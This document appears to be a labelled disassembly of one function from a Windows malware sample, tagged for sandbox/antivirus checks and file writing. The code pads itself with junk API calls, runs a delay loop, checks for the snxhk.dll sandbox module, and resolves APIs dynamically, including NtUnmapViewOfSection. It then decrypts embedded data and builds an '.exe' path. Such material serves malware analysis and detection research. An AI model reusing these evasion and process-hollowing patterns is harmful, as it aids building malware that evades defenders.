Function at 0x404698
Capabilities:
Check for sandbox and av modules
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x358
call fcn.004042a0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x230
mov dword [esp + 0x18], 0x246
mov dword [esp + 0x14], 0x1869f
mov dword [esp + 0x10], 0x1869f
mov dword [esp + 0xc], 0x800000
mov dword [esp + 8], str.Program_Example
mov dword [esp + 4], str.32770
mov dword [esp], pe_nt_image_headers32
call sub.USER32.dll_CreateWindowExA
sub esp, 0x30
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], 0x33d
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0x332
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ecx
mov dword [esp], str.djkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmezdjkzlmjdklemzjfklmezjfklmezjkflmez.dll
call sub.KERNEL32.dll_GetModuleHandleA
push ebx
mov dword [esp + 4], 0xbe
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x377
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push edi
mov dword [esp + 4], 0x8a
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], str.___x_V_v__mJ_x_T_Y_k
mov dword [esp], str.____h__j____Ful__
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x96
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0x407c84
mov dword [esp], 0x407c84
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], 0x1bc
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov edi, 0xf
mov esi, 2
lea esi, [esi]
inc esi
cmp esi, 0xc350
je 0x404aca
mov ebx, 2
cmp esi, 3
je 0x404a8c
nop
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov eax, esi
xor edx, edx
div ebx
test edx, edx
je 0x404a8c
inc ebx
mov eax, ebx
imul eax, ebx
cmp eax, esi
jbe 0x404aa0
inc esi
cmp esi, 0xc350
jne 0x404a95
dec edi
jne 0x404a84
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4c
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0x309
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push edi
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], str.y_T_Q__i_DYV_U__a_C_WJo_
mov dword [esp], str._N___
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0x119
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
jmp 0x404bc1
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
push esi
mov dword [esp], str.snxhk.dll
call sub.KERNEL32.dll_GetModuleHandleA
push ebx
test eax, eax
jne 0x404bb4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], str._CEUl_b_P_YR____
mov dword [esp], str.QN_f___iT_Y____K_
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x2ed
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push edx
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ecx
mov dword [esp + 4], 0x407cd1
mov dword [esp], str._W_r_vdY____vz_A___FPzJ_t
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0x200
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], str.Example.txt
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov ebx, eax
mov dword [esp], str.This_is_an_example_string.
call sub.KERNEL32.dll_lstrlenA
push esi
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x328]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.This_is_an_example_string.
mov dword [esp], ebx
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
push edi
mov dword [esp + 4], str.qU_Jop__c_BQ_T_
mov dword [esp], str.__gj_dm_C
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], 0xe
mov dword [esp], 0x4061a4
call fcn.00401334
mov dword [esp + 4], 0xc
mov dword [esp], 0x406197
call fcn.00401334
mov dword [esp + 4], 0x10
mov dword [esp], 0x406186
call fcn.00401334
mov dword [esp + 4], 0x11
mov dword [esp], 0x406174
call fcn.00401334
mov dword [esp + 4], 0x14
mov dword [esp], 0x40615f
call fcn.00401334
mov dword [esp + 4], 0xe
mov dword [esp], 0x406150
call fcn.00401334
mov dword [esp + 4], 0x12
mov dword [esp], 0x40613d
call fcn.00401334
mov dword [esp + 4], 0x10
mov dword [esp], 0x40612c
call fcn.00401334
mov dword [esp + 4], 0xc
mov dword [esp], 0x40611f
call fcn.00401334
mov dword [esp + 4], 0xe
mov dword [esp], 0x406110
call fcn.00401334
mov dword [esp + 4], 0x10
mov dword [esp], 0x4060ff
call fcn.00401334
mov dword [esp + 4], 0xc
mov dword [esp], 0x4060f2
call fcn.00401334
mov dword [esp + 4], 0xb
mov dword [esp], 0x4060e6
call fcn.00401334
mov dword [esp + 4], 0xf
mov dword [esp], 0x4060d6
call fcn.00401334
mov dword [esp + 4], 0xe
mov dword [esp], 0x4060c7
call fcn.00401334
mov dword [esp + 4], 0xd
mov dword [esp], 0x4060b9
call fcn.00401334
mov dword [esp + 4], 0xc
mov dword [esp], 0x4060ac
call fcn.00401334
mov dword [esp + 4], 0xc
mov dword [esp], 0x40609f
call fcn.00401334
mov dword [esp + 4], 0xe
mov dword [esp], 0x406090
call fcn.00401334
mov dword [esp + 4], 0x12
mov dword [esp], 0x40606b
call fcn.00401334
mov dword [esp + 4], 0x16
mov dword [esp], 0x406054
call fcn.00401334
mov dword [esp + 4], 0x11
mov dword [esp], 0x406042
call fcn.00401334
mov dword [esp + 4], 0x10
mov dword [esp], 0x406031
call fcn.00401334
mov dword [esp + 4], 0x12
mov dword [esp], 0x40601e
call fcn.00401334
mov dword [esp + 4], 0x10
mov dword [esp], 0x40600d
call fcn.00401334
mov dword [esp + 4], 0xc
mov dword [esp], section..data
call fcn.00401334
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], str.Shell32.dll
call sub.KERNEL32.dll_LoadLibraryA
push eax
mov dword [esp], section..data
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp + 4], 0x406110
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [0x409490], eax
mov dword [esp], section..data
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], 0x4060ff
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [0x40948c], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call eax
push esi
mov dword [esp + 4], 0x4061a4
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x4094b4], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edi
mov dword [esp + 4], 0x406197
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x4094b0], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edx
mov dword [esp + 4], 0x406186
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x4094ac], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push ecx
mov dword [esp + 4], 0x406174
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x4094a8], eax
mov ebx, dword [0x409490]
mov dword [esp], str.ntdll.dll
call dword [0x40948c]
push esi
mov dword [esp + 4], str.NtUnmapViewOfSection
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x4094a4], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edi
mov dword [esp + 4], 0x406150
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x4094a0], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edx
mov dword [esp + 4], 0x40613d
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x40949c], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push ecx
mov dword [esp + 4], 0x40612c
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409498], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push esi
mov dword [esp + 4], 0x40611f
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409494], eax
mov ebx, dword [0x409490]
mov dword [esp], str.Shell32.dll
call dword [0x40948c]
push edi
mov dword [esp + 4], str.SHGetSpecialFolderPathW
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409488], eax
mov ebx, dword [0x409490]
mov dword [esp], str.Shell32.dll
call dword [0x40948c]
push edx
mov dword [esp + 4], str.SHGetSpecialFolderPathA
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409484], eax
mov ebx, dword [0x409490]
mov dword [esp], 0x4060f2
call dword [0x40948c]
push ecx
mov dword [esp + 4], 0x4060e6
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409480], eax
mov ebx, dword [0x409490]
mov dword [esp], 0x4060f2
call dword [0x40948c]
push esi
mov dword [esp + 4], 0x4060d6
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x40947c], eax
mov ebx, dword [0x409490]
mov dword [esp], 0x4060f2
call dword [0x40948c]
push edi
mov dword [esp + 4], 0x4060c7
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409478], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edx
mov dword [esp + 4], 0x406090
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409474], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push ecx
mov dword [esp + 4], 0x40609f
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409470], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push esi
mov dword [esp + 4], 0x4060ac
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x40946c], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edi
mov dword [esp + 4], 0x4060b9
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409468], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edx
mov dword [esp + 4], 0x40606b
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409464], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push ecx
mov dword [esp + 4], 0x406054
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409454], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push esi
mov dword [esp + 4], 0x406042
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409460], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edi
mov dword [esp + 4], 0x406031
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409450], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push edx
mov dword [esp + 4], 0x40601e
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x409458], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push ecx
mov dword [esp + 4], 0x40600d
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x40945c], eax
mov ebx, dword [0x409490]
mov dword [esp], section..data
call dword [0x40948c]
push esi
mov dword [esp + 4], str.GetCurrentProcess
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [0x40944c], eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push edi
mov dword [esp + 4], str.RM_M_j___jU_QY_r
mov dword [esp], 0x407d98
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 4], str._______Se_U__r___SIH_I_Af
mov dword [esp], str.d__Eepver_F___D_HWg_E__
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0x409240
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameW
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x23
lea ebx, [ebp - 0x324]
mov dword [esp + 4], ebx
mov dword [esp], 0
call dword [0x409484]
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], str.xx___r___IO___Fh_S__VG
mov dword [esp], str.__xrBdDoE_A___pd__G_G
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x389
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0x251
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 8], 0xa
mov dword [esp + 4], 2
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
mov dword [esp], eax
call dword [0x409470]
push ecx
mov eax, dword [eax]
mov dword [0x409234], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 3
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
mov dword [esp], eax
call dword [0x409470]
push esi
mov eax, dword [eax]
mov dword [0x409238], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 4
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
mov edi, eax
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
mov dword [esp], eax
call dword [0x409470]
push edx
mov esi, eax
mov eax, dword [0x409474]
mov dword [ebp - 0x32c], eax
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [ebp - 0x32c]
sub esp, 8
mov dword [ebp - 0x32c], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 5
mov dword [esp], 0
call dword [0x409468]
sub esp, 0xc
mov edi, eax
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [0x40946c]
sub esp, 8
mov dword [esp], eax
call dword [0x409470]
push edx
mov dword [ebp - 0x330], eax
mov eax, dword [0x409474]
mov dword [ebp - 0x334], eax
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [ebp - 0x334]
sub esp, 8
mov edi, eax
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x37b
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0x1fa
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], str._AB_V_sKA_U_vn_jNnImN_Ik_
mov dword [esp], 0x407e15
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0x367
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x134
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x5b
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], 0x1eb
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov eax, dword [ebp - 0x32c]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [0x409230], eax
mov dword [esp], edi
mov dword [ebp - 0x338], eax
call sub.msvcrt.dll_malloc
mov dword [0x40922c], eax
mov edx, dword [ebp - 0x338]
mov edi, edx
mov ecx, dword [ebp - 0x32c]
rep movsb byte es:[edi], byte [esi]
mov edi, eax
mov esi, dword [ebp - 0x330]
mov ecx, dword [ebp - 0x32c]
rep movsb byte es:[edi], byte [esi]
mov dword [esp], edx
call sub.KERNEL32.dll_lstrlenA
push edx
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x409020
mov eax, dword [0x409230]
mov dword [esp], eax
call fcn.0040137c
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0x253
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], str.____j
mov dword [esp], str.wT___
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ecx
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push esi
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0x407e25
mov dword [esp], 0x407e29
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], str.LhyvP_ol_b___Y___sd
mov dword [esp], str._Q____RN___C_p__so_b
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov eax, dword [0x40922c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
push edx
inc eax
mov dword [esp + 8], eax
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
mov eax, dword [0x40922c]
mov dword [esp], eax
call fcn.0040137c
mov dword [esp + 4], 0x407e56
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [0x40922c]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], str..exe
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [0x40922c]
mov dword [esp + 4], eax
